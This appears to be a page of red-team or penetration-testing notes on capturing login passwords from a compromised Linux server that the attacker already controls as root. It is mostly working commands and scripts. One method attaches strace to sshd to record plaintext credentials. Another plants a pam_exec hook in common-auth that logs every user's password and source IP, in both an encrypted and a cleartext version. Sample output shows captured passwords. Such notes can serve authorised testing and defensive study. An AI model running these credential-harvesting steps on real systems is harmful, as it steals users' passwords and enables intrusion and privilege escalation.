# Sniffing Passwords

## Strace

With root access on a server we can attach to the SSH service and sniff usernames and passwords in plaintext if a user authenticates. This can be powerful when looking for new accounts to pivot with and/or higher privileged accounts.

```bash
[root@victimHost ~]# w
 15:05:18 up 26 days,  6:25,  2 users,  load average: 0.00, 0.05, 0.16
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
unixadm  pts/0    someHost         15:04    6.00s  0.03s  0.00s sshd: unixadm [priv]

[root@victimHost ~]# ps aux | grep ssh
root      1366  0.0  0.0 113000  4368 ?        Ss   Jun02   0:00 /usr/sbin/sshd -D
unixadm  28721  0.0  0.0 176412  2644 ?        S    10:04   0:00 sshd: unixadm@pts/0

[root@victimHost ~]# kill 28721
[root@victimHost ~]# strace -f -p 1366 -e trace=write -o data.log
strace: Process 1366 attached
```



***

## PAM

With root access on a server we can create a simple bash script to log all authorization requests handled by `pam.d`. The log data will show a timestamp, username, password and source IP all in cleartext. This is of course very useful when trying to pivot and/or escalate privileges.&#x20;

### Encrypted logs

The below helper script will create a new, `pam_log.sh`, script to be uploaded on a target host.&#x20;

```bash
#!/bin/bash
KEY_DIR="./ssh_key_pair"
PRIVATE_KEY_PATH="${KEY_DIR}/pam-id_rsa"
PUBLIC_KEY_PATH="${KEY_DIR}/pam-id_rsa.pub"
PEM_KEY_PATH="${KEY_DIR}/pam-id_rsa.pem"
LOG_SCRIPT_PATH="./pam_log.sh"

mkdir -p "$KEY_DIR"
echo "[+] Generating SSH key pair..."
ssh-keygen -t rsa -b 4096 -m PEM -f "$PRIVATE_KEY_PATH" -N "" >/dev/null

echo "[+] Extracting public key in PEM format..."
ssh-keygen -e -f "$PUBLIC_KEY_PATH" -m PEM > "${PEM_KEY_PATH}"

SSH_PUBLIC_KEY=$(cat "${PEM_KEY_PATH}" | sed ':a;N;$!ba;s/\n/\\n/g')

echo "[+] Creating the log script..."
cat <<EOF > "$LOG_SCRIPT_PATH"
#!/bin/bash
SSH_PUBLIC_KEY="$SSH_PUBLIC_KEY"
LOG_ENTRY=" \$(date) \${PAM_USER}, \$(cat -), From: \${PAM_RHOST}"
echo "\$LOG_ENTRY" | openssl pkeyutl -encrypt -inkey <(echo -e "\$SSH_PUBLIC_KEY" | sed 's/\\n/\n/g') -pubin | base64 >> /var/log/creds.log
EOF

chmod +x "$LOG_SCRIPT_PATH"
echo "[+] Generated log script: $LOG_SCRIPT_PATH"
echo -e "\n[i] Decrypt log: cat /var/log/creds.log | base64 -d | openssl pkeyutl -decypt -inkey $PRIVATE_KEY_PATH"
```

```bash
kdev :: ~/log » ./create_pam_log.sh 
[+] Generating SSH key pair...
[+] Extracting public key in PEM format...
[+] Creating the log script...
[+] Generated log script: ./pam_log.sh

[i] Decrypt log: cat /var/log/creds.log | base64 -d | openssl pkeyutl -decypt -inkey ./ssh_key_pair/pam-id_rsa
```

Upload `pam_log.sh` to the target and modify `/etc/pam.d/common-auth` to execute the script on authentication requests.

```bash
kdev :: ~ » echo "auth optional pam_exec.so quiet expose_authtok /home/void/log/pam_log.sh" | sudo tee -a /etc/pam.d/common-auth
```

Wait for a user to login and reap the rewards. Other users are unable to to read the content without having the private key.

```bash
kdev :: ~/log » cat /var/log/creds.log
WNGIdThHgz[...]Hww2aa0=
kdev :: ~/log » cat /var/log/creds.log | base64 -d | openssl pkeyutl -decrypt -inkey ./ssh_key_pair/pam-id_rsa
 Fri Mar 14 11:18:14 CET 2025 void, Passw0rd!, From: ::1
```



### Unencrypted logs

If you don't care about the security aspects, or if the target doesn't have `openssl` or `base64` installed, you can instead use this simple unencrypted version to log authentication requests.

```bash
## Create the simple script to log logins
$ chmod 700 /usr/local/bin/capture.sh
$ cat /usr/local/bin/capture.sh                    
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/creds.log

## Create log file and set high permissions so no unauthorized user reads it
$ touch /var/log/creds.log
$ chmod 600 /var/log/creds.log

## Edit /etc/pam.d/common-auth and add the following line
$ cat /etc/pam.d/common-auth
...
auth optional pam_exec.so quiet expose_authtok /usr/local/bin/capture.sh

## All services using PAM will now be logged to /var/log/creds.log in clear text
➜  ~ cat /var/log/creds.log
 Wed Nov 22 12:56:54 CET 2023 void, Passw0rd!, From: ::1
```
